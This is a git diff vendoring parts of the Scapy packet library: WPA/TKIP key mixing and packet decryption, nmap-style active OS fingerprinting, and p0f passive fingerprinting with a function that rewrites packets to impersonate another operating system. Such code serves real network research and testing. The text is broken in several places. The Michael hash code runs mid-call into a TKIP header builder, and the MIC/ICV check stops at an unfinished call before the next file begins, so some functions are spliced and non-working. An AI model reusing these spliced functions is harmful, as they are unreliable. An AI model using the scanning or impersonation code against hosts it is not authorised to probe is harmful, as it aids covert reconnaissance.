_MK16(TK[5], TK[4]))) + PPK[3] = _CAST16(PPK[3] + _SBOX16(PPK[2] ^ _MK16(TK[7], TK[6]))) + PPK[4] = _CAST16(PPK[4] + _SBOX16(PPK[3] ^ _MK16(TK[9], TK[8]))) + PPK[5] = _CAST16(PPK[5] + _SBOX16(PPK[4] ^ _MK16(TK[11], TK[10]))) + + PPK[0] = _CAST16(PPK[0] + _RotR1(PPK[5] ^ _MK16(TK[13], TK[12]))) + PPK[1] = _CAST16(PPK[1] + _RotR1(PPK[0] ^ _MK16(TK[15], TK[14]))) + PPK[2] = _CAST16(PPK[2] + _RotR1(PPK[1])) + PPK[3] = _CAST16(PPK[3] + _RotR1(PPK[2])) + PPK[4] = _CAST16(PPK[4] + _RotR1(PPK[3])) + PPK[5] = _CAST16(PPK[5] + _RotR1(PPK[4])) + + # Phase 2 - Step 3 + WEPSeed = [] + WEPSeed.append(TSC[1]) + WEPSeed.append((TSC[1] | 0x20) & 0x7f) + WEPSeed.append(TSC[0]) + WEPSeed.append(((PPK[5] ^ _MK16(TK[1], TK[0])) >> 1) & 0xFF) + for i in range(6): + WEPSeed.append(PPK[i] & 0xFF) + WEPSeed.append(PPK[i] >> 8) + + assert len(WEPSeed) == 16 + + return b"".join(chb(x) for x in WEPSeed) + +# TKIP - Michael +# Tested against cryptopy (crypto.keyedHash.michael: Michael) + + +def _rotate_right32(value, shift): + return (value >> (shift % 32) | value << ((32 - shift) % 32)) & 0xFFFFFFFF + + +def _rotate_left32(value, shift): + return (value << (shift % 32) | value >> ((32 - shift) % 32)) & 0xFFFFFFFF + + +def _XSWAP(value): + """Swap 2 least significant bytes of @value""" + return ((value & 0xFF00FF00) >> 8) | ((value & 0x00FF00FF) << 8) + + +def _michael_b(m_l, m_r): + """Defined in 802.11i p.49""" + m_r = m_r ^ _rotate_left32(m_l, 17) + m_l = (m_l + m_r) % 2**32 + m_r = m_r ^ _XSWAP(m_l) + m_l = (m_l + m_r) % 2**32 + m_r = m_r ^ _rotate_left32(m_l, 3) + m_l = (m_l + m_r) % 2**32 + m_r = m_r ^ _rotate_right32(m_l, 2) + m_l = (m_l + m_r) % 2**32 + return m_l, m_r + + +def michael(key, to_hash): + """Defined in 802.11i p.48""" + + # Block size: 4 + nb_block, nb_extra_bytes = divmod(len(to_hash), 4) + # Add padding + data = to_hash + chb(0x5a) + b"\x00" * (7 - nb_extra_bytes) + + # Hash + m_l, m_r = unpack('> 40) & 0xFF, + (iv >> 32) & 0xFF, + (iv >> 24) & 0xFF, + (iv >> 16) & 0xFF, + (iv >> 8) & 0xFF, + iv & 0xFF + ) + bitfield = 1 << 5 # Extended IV + TKIP_hdr = chb(TSC1) + chb((TSC1 | 0x20) & 0x7f) + chb(TSC0) + chb(bitfield) # noqa: E501 + TKIP_hdr += chb(TSC2) + chb(TSC3) + chb(TSC4) + chb(TSC5) + + TA = [orb(e) for e in mac2str(mac)] + TSC = [TSC0, TSC1, TSC2, TSC3, TSC4, TSC5] + TK = [orb(x) for x in tk] + + rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) + return TKIP_hdr + ARC4_encrypt(rc4_key, data) + + +def parse_data_pkt(pkt, tk): + """Extract data from a WPA packet @pkt with temporal key @tk""" + TSC, TA, data = parse_TKIP_hdr(pkt) + TK = [orb(x) for x in tk] + + rc4_key = gen_TKIP_RC4_key(TSC, TA, TK) + return ARC4_decrypt(rc4_key, data) + + +class ICVError(Exception): + """The expected ICV is not the computed one""" + pass + + +class MICError(Exception): + """The expected MIC is not the computed one""" + pass + + +def check_MIC_ICV(data, mic_key, source, dest): + """Check MIC, ICV & return the data from a decrypted TKIP packet""" + assert len(data) > 12 + + # DATA - MIC(DA - SA - Priority=0 - 0 - 0 - 0 - DATA) - ICV + # 802.11i p.47 + + ICV = data[-4:] + MIC = data[-12:-4] + data_clear = data[:-12] + + expected_ICV = pack(" +# This program is published under a GPLv2 license + +"""Clone of Nmap's first generation OS fingerprinting. + +This code works with the first-generation OS detection and +nmap-os-fingerprints, which has been removed from Nmap on November 3, +2007 (https://github.com/nmap/nmap/commit/50c49819), which means it is +outdated. + +To get the last published version of this outdated fingerprint +database, you can fetch it from +. + +""" + +from __future__ import absolute_import +import os +import re + +from scapy.data import KnowledgeBase +from scapy.config import conf +from scapy.arch import WINDOWS +from scapy.error import warning +from scapy.layers.inet import IP, TCP, UDP, ICMP, UDPerror, IPerror +from scapy.packet import NoPayload +from scapy.sendrecv import sr +from scapy.compat import plain_str, raw +import scapy.modules.six as six + + +if WINDOWS: + conf.nmap_base = os.environ["ProgramFiles"] + "\\nmap\\nmap-os-fingerprints" # noqa: E501 +else: + conf.nmap_base = "/usr/share/nmap/nmap-os-fingerprints" + + +###################### +# nmap OS fp stuff # +###################### + + +_NMAP_LINE = re.compile('^([^\\(]*)\\(([^\\)]*)\\)$') + + +class NmapKnowledgeBase(KnowledgeBase): + """A KnowledgeBase specialized in Nmap first-generation OS +fingerprints database. Loads from conf.nmap_base when self.filename is +None. + + """ + + def lazy_init(self): + try: + fdesc = open(conf.nmap_base + if self.filename is None else + self.filename, "rb") + except (IOError, TypeError): + warning("Cannot open nmap database [%s]", self.filename) + self.filename = None + return + + self.base = [] + name = None + sig = {} + for line in fdesc: + line = plain_str(line) + line = line.split('#', 1)[0].strip() + if not line: + continue + if line.startswith("Fingerprint "): + if name is not None: + self.base.append((name, sig)) + name = line[12:].strip() + sig = {} + continue + if line.startswith("Class "): + continue + line = _NMAP_LINE.search(line) + if line is None: + continue + test, values = line.groups() + sig[test] = dict(val.split('=', 1) for val in + (values.split('%') if values else [])) + if name is not None: + self.base.append((name, sig)) + fdesc.close() + + +nmap_kdb = NmapKnowledgeBase(None) + + +def nmap_tcppacket_sig(pkt): + res = {} + if pkt is not None: + res["DF"] = "Y" if pkt.flags.DF else "N" + res["W"] = "%X" % pkt.window + res["ACK"] = "S++" if pkt.ack == 2 else "S" if pkt.ack == 1 else "O" + res["Flags"] = str(pkt[TCP].flags)[::-1] + res["Ops"] = "".join(x[0][0] for x in pkt[TCP].options) + else: + res["Resp"] = "N" + return res + + +def nmap_udppacket_sig(snd, rcv): + res = {} + if rcv is None: + res["Resp"] = "N" + else: + res["DF"] = "Y" if rcv.flags.DF else "N" + res["TOS"] = "%X" % rcv.tos + res["IPLEN"] = "%X" % rcv.len + res["RIPTL"] = "%X" % rcv.payload.payload.len + res["RID"] = "E" if snd.id == rcv[IPerror].id else "F" + res["RIPCK"] = "E" if snd.chksum == rcv[IPerror].chksum else ( + "0" if rcv[IPerror].chksum == 0 else "F" + ) + res["UCK"] = "E" if snd.payload.chksum == rcv[UDPerror].chksum else ( + "0" if rcv[UDPerror].chksum == 0 else "F" + ) + res["ULEN"] = "%X" % rcv[UDPerror].len + res["DAT"] = "E" if ( + isinstance(rcv[UDPerror].payload, NoPayload) or + raw(rcv[UDPerror].payload) == raw(snd[UDP].payload) + ) else "F" + return res + + +def nmap_match_one_sig(seen, ref): + cnt = sum(val in ref.get(key, "").split("|") + for key, val in six.iteritems(seen)) + if cnt == 0 and seen.get("Resp") == "N": + return 0.7 + return float(cnt) / len(seen) + + +def nmap_sig(target, oport=80, cport=81, ucport=1): + res = {} + + tcpopt = [("WScale", 10), + ("NOP", None), + ("MSS", 256), + ("Timestamp", (123, 0))] + tests = [ + IP(dst=target, id=1) / + TCP(seq=1, sport=5001 + i, dport=oport if i < 4 else cport, + options=tcpopt, flags=flags) + for i, flags in enumerate(["CS", "", "SFUP", "A", "S", "A", "FPU"]) + ] + tests.append(IP(dst=target) / UDP(sport=5008, dport=ucport) / (300 * "i")) + + ans, unans = sr(tests, timeout=2) + ans.extend((x, None) for x in unans) + + for snd, rcv in ans: + if snd.sport == 5008: + res["PU"] = (snd, rcv) + else: + test = "T%i" % (snd.sport - 5000) + if rcv is not None and ICMP in rcv: + warning("Test %s answered by an ICMP", test) + rcv = None + res[test] = rcv + + return nmap_probes2sig(res) + + +def nmap_probes2sig(tests): + tests = tests.copy() + res = {} + if "PU" in tests: + res["PU"] = nmap_udppacket_sig(*tests["PU"]) + del tests["PU"] + for k in tests: + res[k] = nmap_tcppacket_sig(tests[k]) + return res + + +def nmap_search(sigs): + guess = 0, [] + for osval, fprint in nmap_kdb.get_base(): + score = 0.0 + for test, values in six.iteritems(fprint): + if test in sigs: + score += nmap_match_one_sig(sigs[test], values) + score /= len(sigs) + if score > guess[0]: + guess = score, [osval] + elif score == guess[0]: + guess[1].append(osval) + return guess + + +@conf.commands.register +def nmap_fp(target, oport=80, cport=81): + """nmap fingerprinting +nmap_fp(target, [oport=80,] [cport=81,]) -> list of best guesses with accuracy +""" + sigs = nmap_sig(target, oport, cport) + return nmap_search(sigs) + + +@conf.commands.register +def nmap_sig2txt(sig): + torder = ["TSeq", "T1", "T2", "T3", "T4", "T5", "T6", "T7", "PU"] + korder = ["Class", "gcd", "SI", "IPID", "TS", + "Resp", "DF", "W", "ACK", "Flags", "Ops", + "TOS", "IPLEN", "RIPTL", "RID", "RIPCK", "UCK", "ULEN", "DAT"] + txt = [] + for i in sig: + if i not in torder: + torder.append(i) + for test in torder: + testsig = sig.get(test) + if testsig is None: + continue + txt.append("%s(%s)" % (test, "%".join( + "%s=%s" % (key, testsig[key]) for key in korder if key in testsig + ))) + return "\n".join(txt) diff --git a/libs/scapy/modules/p0f.py b/libs/scapy/modules/p0f.py new file mode 100755 index 0000000..6eb5c20 --- /dev/null +++ b/libs/scapy/modules/p0f.py @@ -0,0 +1,623 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Clone of p0f passive OS fingerprinting +""" + +from __future__ import absolute_import +from __future__ import print_function +import time +import struct +import os +import socket +import random + +from scapy.data import KnowledgeBase, select_path +from scapy.config import conf +from scapy.compat import raw +from scapy.layers.inet import IP, TCP, TCPOptions +from scapy.packet import NoPayload, Packet +from scapy.error import warning, Scapy_Exception, log_runtime +from scapy.volatile import RandInt, RandByte, RandNum, RandShort, RandString +from scapy.sendrecv import sniff +from scapy.modules import six +from scapy.modules.six.moves import map, range +if conf.route is None: + # unused import, only to initialize conf.route + import scapy.route # noqa: F401 + +_p0fpaths = ["/etc/p0f", "/usr/share/p0f", "/opt/local"] + +conf.p0f_base = select_path(_p0fpaths, "p0f.fp") +conf.p0fa_base = select_path(_p0fpaths, "p0fa.fp") +conf.p0fr_base = select_path(_p0fpaths, "p0fr.fp") +conf.p0fo_base = select_path(_p0fpaths, "p0fo.fp") + + +############### +# p0f stuff # +############### + +# File format (according to p0f.fp) : +# +# wwww:ttt:D:ss:OOO...:QQ:OS:Details +# +# wwww - window size +# ttt - initial TTL +# D - don't fragment bit (0=unset, 1=set) +# ss - overall SYN packet size +# OOO - option value and order specification +# QQ - quirks list +# OS - OS genre +# details - OS description + +class p0fKnowledgeBase(KnowledgeBase): + def __init__(self, filename): + KnowledgeBase.__init__(self, filename) + # self.ttl_range=[255] + + def lazy_init(self): + try: + f = open(self.filename) + except IOError: + warning("Can't open base %s", self.filename) + return + try: + self.base = [] + for line in f: + if line[0] in ["#", "\n"]: + continue + line = tuple(line.split(":")) + if len(line) < 8: + continue + + def a2i(x): + if x.isdigit(): + return int(x) + return x + li = [a2i(e) for e in line[1:4]] + # if li[0] not in self.ttl_range: + # self.ttl_range.append(li[0]) + # self.ttl_range.sort() + self.base.append((line[0], li[0], li[1], li[2], line[4], + line[5], line[6], line[7][:-1])) + except Exception: + warning("Can't parse p0f database (new p0f version ?)") + self.base = None + f.close() + + +p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb = None, None, None, None + + +def p0f_load_knowledgebases(): + global p0f_kdb, p0fa_kdb, p0fr_kdb, p0fo_kdb + p0f_kdb = p0fKnowledgeBase(conf.p0f_base) + p0fa_kdb = p0fKnowledgeBase(conf.p0fa_base) + p0fr_kdb = p0fKnowledgeBase(conf.p0fr_base) + p0fo_kdb = p0fKnowledgeBase(conf.p0fo_base) + + +p0f_load_knowledgebases() + + +def p0f_selectdb(flags): + # tested flags: S, R, A + if flags & 0x16 == 0x2: + # SYN + return p0f_kdb + elif flags & 0x16 == 0x12: + # SYN/ACK + return p0fa_kdb + elif flags & 0x16 in [0x4, 0x14]: + # RST RST/ACK + return p0fr_kdb + elif flags & 0x16 == 0x10: + # ACK + return p0fo_kdb + else: + return None + + +def packet2p0f(pkt): + pkt = pkt.copy() + pkt = pkt.__class__(raw(pkt)) + while pkt.haslayer(IP) and pkt.haslayer(TCP): + pkt = pkt.getlayer(IP) + if isinstance(pkt.payload, TCP): + break + pkt = pkt.payload + + if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): + raise TypeError("Not a TCP/IP packet") + # if pkt.payload.flags & 0x7 != 0x02: #S,!F,!R + # raise TypeError("Not a SYN or SYN/ACK packet") + + db = p0f_selectdb(pkt.payload.flags) + + # t = p0f_kdb.ttl_range[:] + # t += [pkt.ttl] + # t.sort() + # ttl=t[t.index(pkt.ttl)+1] + ttl = pkt.ttl + + ss = len(pkt) + # from p0f/config.h : PACKET_BIG = 100 + if ss > 100: + if db == p0fr_kdb: + # p0fr.fp: "Packet size may be wildcarded. The meaning of + # wildcard is, however, hardcoded as 'size > + # PACKET_BIG'" + ss = '*' + else: + ss = 0 + if db == p0fo_kdb: + # p0fo.fp: "Packet size MUST be wildcarded." + ss = '*' + + ooo = "" + mss = -1 + qqT = False + qqP = False + # qqBroken = False + ilen = (pkt.payload.dataofs << 2) - 20 # from p0f.c + for option in pkt.payload.options: + ilen -= 1 + if option[0] == "MSS": + ooo += "M" + str(option[1]) + "," + mss = option[1] + # FIXME: qqBroken + ilen -= 3 + elif option[0] == "WScale": + ooo += "W" + str(option[1]) + "," + # FIXME: qqBroken + ilen -= 2 + elif option[0] == "Timestamp": + if option[1][0] == 0: + ooo += "T0," + else: + ooo += "T," + if option[1][1] != 0: + qqT = True + ilen -= 9 + elif option[0] == "SAckOK": + ooo += "S," + ilen -= 1 + elif option[0] == "NOP": + ooo += "N," + elif option[0] == "EOL": + ooo += "E," + if ilen > 0: + qqP = True + else: + if isinstance(option[0], str): + ooo += "?%i," % TCPOptions[1][option[0]] + else: + ooo += "?%i," % option[0] + # FIXME: ilen + ooo = ooo[:-1] + if ooo == "": + ooo = "." + + win = pkt.payload.window + if mss != -1: + if mss != 0 and win % mss == 0: + win = "S" + str(win / mss) + elif win % (mss + 40) == 0: + win = "T" + str(win / (mss + 40)) + win = str(win) + + qq = "" + + if db == p0fr_kdb: + if pkt.payload.flags & 0x10 == 0x10: + # p0fr.fp: "A new quirk, 'K', is introduced to denote + # RST+ACK packets" + qq += "K" + # The two next cases should also be only for p0f*r*, but although + # it's not documented (or I have not noticed), p0f seems to + # support the '0' and 'Q' quirks on any databases (or at the least + # "classical" p0f.fp). + if pkt.payload.seq == pkt.payload.ack: + # p0fr.fp: "A new quirk, 'Q', is used to denote SEQ number + # equal to ACK number." + qq += "Q" + if pkt.payload.seq == 0: + # p0fr.fp: "A new quirk, '0', is used to denote packets + # with SEQ number set to 0." + qq += "0" + if qqP: + qq += "P" + if pkt.id == 0: + qq += "Z" + if pkt.options != []: + qq += "I" + if pkt.payload.urgptr != 0: + qq += "U" + if pkt.payload.reserved != 0: + qq += "X" + if pkt.payload.ack != 0: + qq += "A" + if qqT: + qq += "T" + if db == p0fo_kdb: + if pkt.payload.flags & 0x20 != 0: + # U + # p0fo.fp: "PUSH flag is excluded from 'F' quirk checks" + qq += "F" + else: + if pkt.payload.flags & 0x28 != 0: + # U or P + qq += "F" + if db != p0fo_kdb and not isinstance(pkt.payload.payload, NoPayload): + # p0fo.fp: "'D' quirk is not checked for." + qq += "D" + # FIXME : "!" - broken options segment: not handled yet + + if qq == "": + qq = "." + + return (db, (win, ttl, pkt.flags.DF, ss, ooo, qq)) + + +def p0f_correl(x, y): + d = 0 + # wwww can be "*" or "%nn". "Tnn" and "Snn" should work fine with + # the x[0] == y[0] test. + d += (x[0] == y[0] or y[0] == "*" or (y[0][0] == "%" and x[0].isdigit() and (int(x[0]) % int(y[0][1:])) == 0)) # noqa: E501 + # ttl + d += (y[1] >= x[1] and y[1] - x[1] < 32) + for i in [2, 5]: + d += (x[i] == y[i] or y[i] == '*') + # '*' has a special meaning for ss + d += x[3] == y[3] + xopt = x[4].split(",") + yopt = y[4].split(",") + if len(xopt) == len(yopt): + same = True + for i in range(len(xopt)): + if not (xopt[i] == yopt[i] or + (len(yopt[i]) == 2 and len(xopt[i]) > 1 and + yopt[i][1] == "*" and xopt[i][0] == yopt[i][0]) or + (len(yopt[i]) > 2 and len(xopt[i]) > 1 and + yopt[i][1] == "%" and xopt[i][0] == yopt[i][0] and + int(xopt[i][1:]) % int(yopt[i][2:]) == 0)): + same = False + break + if same: + d += len(xopt) + return d + + +@conf.commands.register +def p0f(pkt): + """Passive OS fingerprinting: which OS emitted this TCP packet ? +p0f(packet) -> accuracy, [list of guesses] +""" + db, sig = packet2p0f(pkt) + if db: + pb = db.get_base() + else: + pb = [] + if not pb: + warning("p0f base empty.") + return [] + # s = len(pb[0][0]) + r = [] + max = len(sig[4].split(",")) + 5 + for b in pb: + d = p0f_correl(sig, b) + if d == max: + r.append((b[6], b[7], b[1] - pkt[IP].ttl)) + return r + + +def prnp0f(pkt): + """Calls p0f and returns a user-friendly output""" + # we should print which DB we use + try: + r = p0f(pkt) + except Exception: + return + if r == []: + r = ("UNKNOWN", "[" + ":".join(map(str, packet2p0f(pkt)[1])) + ":?:?]", None) # noqa: E501 + else: + r = r[0] + uptime = None + try: + uptime = pkt2uptime(pkt) + except Exception: + pass + if uptime == 0: + uptime = None + res = pkt.sprintf("%IP.src%:%TCP.sport% - " + r[0] + " " + r[1]) + if uptime is not None: + res += pkt.sprintf(" (up: " + str(uptime / 3600) + " hrs)\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") # noqa: E501 + else: + res += pkt.sprintf("\n -> %IP.dst%:%TCP.dport% (%TCP.flags%)") + if r[2] is not None: + res += " (distance " + str(r[2]) + ")" + print(res) + + +@conf.commands.register +def pkt2uptime(pkt, HZ=100): + """Calculate the date the machine which emitted the packet booted using TCP timestamp # noqa: E501 +pkt2uptime(pkt, [HZ=100])""" + if not isinstance(pkt, Packet): + raise TypeError("Not a TCP packet") + if isinstance(pkt, NoPayload): + raise TypeError("Not a TCP packet") + if not isinstance(pkt, TCP): + return pkt2uptime(pkt.payload) + for opt in pkt.options: + if opt[0] == "Timestamp": + # t = pkt.time - opt[1][0] * 1.0/HZ + # return time.ctime(t) + t = opt[1][0] / HZ + return t + raise TypeError("No timestamp option") + + +def p0f_impersonate(pkt, osgenre=None, osdetails=None, signature=None, + extrahops=0, mtu=1500, uptime=None): + """Modifies pkt so that p0f will think it has been sent by a +specific OS. If osdetails is None, then we randomly pick up a +personality matching osgenre. If osgenre and signature are also None, +we use a local signature (using p0f_getlocalsigs). If signature is +specified (as a tuple), we use the signature. + +For now, only TCP Syn packets are supported. +Some specifications of the p0f.fp file are not (yet) implemented.""" + pkt = pkt.copy() + # pkt = pkt.__class__(raw(pkt)) + while pkt.haslayer(IP) and pkt.haslayer(TCP): + pkt = pkt.getlayer(IP) + if isinstance(pkt.payload, TCP): + break + pkt = pkt.payload + + if not isinstance(pkt, IP) or not isinstance(pkt.payload, TCP): + raise TypeError("Not a TCP/IP packet") + + db = p0f_selectdb(pkt.payload.flags) + if osgenre: + pb = db.get_base() + if pb is None: + pb = [] + pb = [x for x in pb if x[6] == osgenre] + if osdetails: + pb = [x for x in pb if x[7] == osdetails] + elif signature: + pb = [signature] + else: + pb = p0f_getlocalsigs()[db] + if db == p0fr_kdb: + # 'K' quirk <=> RST+ACK + if pkt.payload.flags & 0x4 == 0x4: + pb = [x for x in pb if 'K' in x[5]] + else: + pb = [x for x in pb if 'K' not in x[5]] + if not pb: + raise Scapy_Exception("No match in the p0f database") + pers = pb[random.randint(0, len(pb) - 1)] + + # options (we start with options because of MSS) + # Take the options already set as "hints" to use in the new packet if we + # can. MSS, WScale and Timestamp can all be wildcarded in a signature, so + # we'll use the already-set values if they're valid integers. + orig_opts = dict(pkt.payload.options) + int_only = lambda val: val if isinstance(val, six.integer_types) else None + mss_hint = int_only(orig_opts.get('MSS')) + wscale_hint = int_only(orig_opts.get('WScale')) + ts_hint = [int_only(o) for o in orig_opts.get('Timestamp', (None, None))] + + options = [] + if pers[4] != '.': + for opt in pers[4].split(','): + if opt[0] == 'M': + # MSS might have a maximum size because of window size + # specification + if pers[0][0] == 'S': + maxmss = (2**16 - 1) // int(pers[0][1:]) + else: + maxmss = (2**16 - 1) + # disregard hint if out of range + if mss_hint and not 0 <= mss_hint <= maxmss: + mss_hint = None + # If we have to randomly pick up a value, we cannot use + # scapy RandXXX() functions, because the value has to be + # set in case we need it for the window size value. That's + # why we use random.randint() + if opt[1:] == '*': + if mss_hint is not None: + options.append(('MSS', mss_hint)) + else: + options.append(('MSS', random.randint(1, maxmss))) + elif opt[1] == '%': + coef = int(opt[2:]) + if mss_hint is not None and mss_hint % coef == 0: + options.append(('MSS', mss_hint)) + else: + options.append(( + 'MSS', coef * random.randint(1, maxmss // coef))) + else: + options.append(('MSS', int(opt[1:]))) + elif opt[0] == 'W': + if wscale_hint and not 0 <= wscale_hint < 2**8: + wscale_hint = None + if opt[1:] == '*': + if wscale_hint is not None: + options.append(('WScale', wscale_hint)) + else: + options.append(('WScale', RandByte())) + elif opt[1] == '%': + coef = int(opt[2:]) + if wscale_hint is not None and wscale_hint % coef == 0: + options.append(('WScale', wscale_hint)) + else: + options.append(( + 'WScale', coef * RandNum(min=1, max=(2**8 - 1) // coef))) # noqa: E501 + else: + options.append(('WScale', int(opt[1:]))) + elif opt == 'T0': + options.append(('Timestamp', (0, 0))) + elif opt == 'T': + # Determine first timestamp. + if uptime is not None: + ts_a = uptime + elif ts_hint[0] and 0 < ts_hint[0] < 2**32: + # Note: if first ts is 0, p0f registers it as "T0" not "T", + # hence we don't want to use the hint if it was 0. + ts_a = ts_hint[0] + else: + ts_a = random.randint(120, 100 * 60 * 60 * 24 * 365) + # Determine second timestamp. + if 'T' not in pers[5]: + ts_b = 0 + elif ts_hint[1] and 0 < ts_hint[1] < 2**32: + ts_b = ts_hint[1] + else: + # FIXME: RandInt() here does not work (bug (?) in + # TCPOptionsField.m2i often raises "OverflowError: + # long int too large to convert to int" in: + # oval = struct.pack(ofmt, *oval)" + # Actually, this is enough to often raise the error: + # struct.pack('I', RandInt()) + ts_b = random.randint(1, 2**32 - 1) + options.append(('Timestamp', (ts_a, ts_b))) + elif opt == 'S': + options.append(('SAckOK', '')) + elif opt == 'N': + options.append(('NOP', None)) + elif opt == 'E': + options.append(('EOL', None)) + elif opt[0] == '?': + if int(opt[1:]) in TCPOptions[0]: + optname = TCPOptions[0][int(opt[1:])][0] + optstruct = TCPOptions[0][int(opt[1:])][1] + options.append((optname, + struct.unpack(optstruct, + RandString(struct.calcsize(optstruct))._fix()))) # noqa: E501 + else: + options.append((int(opt[1:]), '')) + # FIXME: qqP not handled + else: + warning("unhandled TCP option " + opt) + pkt.payload.options = options + + # window size + if pers[0] == '*': + pkt.payload.window = RandShort() + elif pers[0].isdigit(): + pkt.payload.window = int(pers[0]) + elif pers[0][0] == '%': + coef = int(pers[0][1:]) + pkt.payload.window = coef * RandNum(min=1, max=(2**16 - 1) // coef) + elif pers[0][0] == 'T': + pkt.payload.window = mtu * int(pers[0][1:]) + elif pers[0][0] == 'S': + # needs MSS set + mss = [x for x in options if x[0] == 'MSS'] + if not mss: + raise Scapy_Exception("TCP window value requires MSS, and MSS option not set") # noqa: E501 + pkt.payload.window = mss[0][1] * int(pers[0][1:]) + else: + raise Scapy_Exception('Unhandled window size specification') + + # ttl + pkt.ttl = pers[1] - extrahops + # DF flag + pkt.flags |= (2 * pers[2]) + # FIXME: ss (packet size) not handled (how ? may be with D quirk + # if present) + # Quirks + if pers[5] != '.': + for qq in pers[5]: + # FIXME: not handled: P, I, X, ! + # T handled with the Timestamp option + if qq == 'Z': + pkt.id = 0 + elif qq == 'U': + pkt.payload.urgptr = RandShort() + elif qq == 'A': + pkt.payload.ack = RandInt() + elif qq == 'F': + if db == p0fo_kdb: + pkt.payload.flags |= 0x20 # U + else: + pkt.payload.flags |= random.choice([8, 32, 40]) # P/U/PU + elif qq == 'D' and db != p0fo_kdb: + pkt /= conf.raw_layer(load=RandString(random.randint(1, 10))) # XXX p0fo.fp # noqa: E501 + elif qq == 'Q': + pkt.payload.seq = pkt.payload.ack + # elif qq == '0': pkt.payload.seq = 0 + # if db == p0fr_kdb: + # '0' quirk is actually not only for p0fr.fp (see + # packet2p0f()) + if '0' in pers[5]: + pkt.payload.seq = 0 + elif pkt.payload.seq == 0: + pkt.payload.seq = RandInt() + + while pkt.underlayer: + pkt = pkt.underlayer + return pkt + + +def p0f_getlocalsigs(): + """This function returns a dictionary of signatures indexed by p0f +db (e.g., p0f_kdb, p0fa_kdb, ...) for the local TCP/IP stack. + +You need to have your firewall at least accepting the TCP packets +from/to a high port (30000 <= x <= 40000) on your loopback interface. + +Please note that the generated signatures come from the loopback +interface and may (are likely to) be different than those generated on +"normal" interfaces.""" + pid = os.fork() + port = random.randint(30000, 40000) + if pid > 0: + # parent: sniff + result = {} + + def addresult(res): + # TODO: wildcard window size in some cases? and maybe some + # other values? + if res[0] not in result: + result[res[0]] = [res[1]] + else: + if res[1] not in result[res[0]]: + result[res[0]].append(res[1]) + # XXX could we try with a "normal" interface using other hosts + iface = conf.route.route('127.0.0.1')[0] + # each packet is seen twice: S + RA, S + SA + A + FA + A + # XXX are the packets also seen twice on non Linux systems ? + count = 14 + pl = sniff(iface=iface, filter='tcp and port ' + str(port), count=count, timeout=3) # noqa: E501 + for pkt in pl: + for elt in packet2p0f(pkt): + addresult(elt) + os.waitpid(pid, 0) + elif pid < 0: + log_runtime.error("fork error") + else: + # child: send + # XXX erk + time.sleep(1) + s1 = socket.socket(socket.AF_INET, type=socket.SOCK_STREAM) + # S & RA + try: + s1.connect(('127.0.0.1', port)) + except socket.error: + pass + # S, SA, A, FA, A + s1.bind(('127.0.0.1', port)) + s1.connect(('127.0.0.1', port)) + # howto: get an RST w/o ACK packet + s1.close() + os._exit(0) + return result diff --git a/libs/scapy/modules/six.py b/libs/scapy/modules/six.py new file mode 100755 index 0000000..88e79dc --- /dev/null +++ b/libs/scapy/modules/six.py @@ -0,0 +1,891 @@ +# Copyright (c) 2010-2017 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all # noqa: E501 +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +## This file is part of Scapy +## See http://www.secdev.org/projects/scapy for more information +## Copyright (C) Philippe Biondi +## This program is published under a GPLv2 license + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson " +__version__ = "1.10.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, 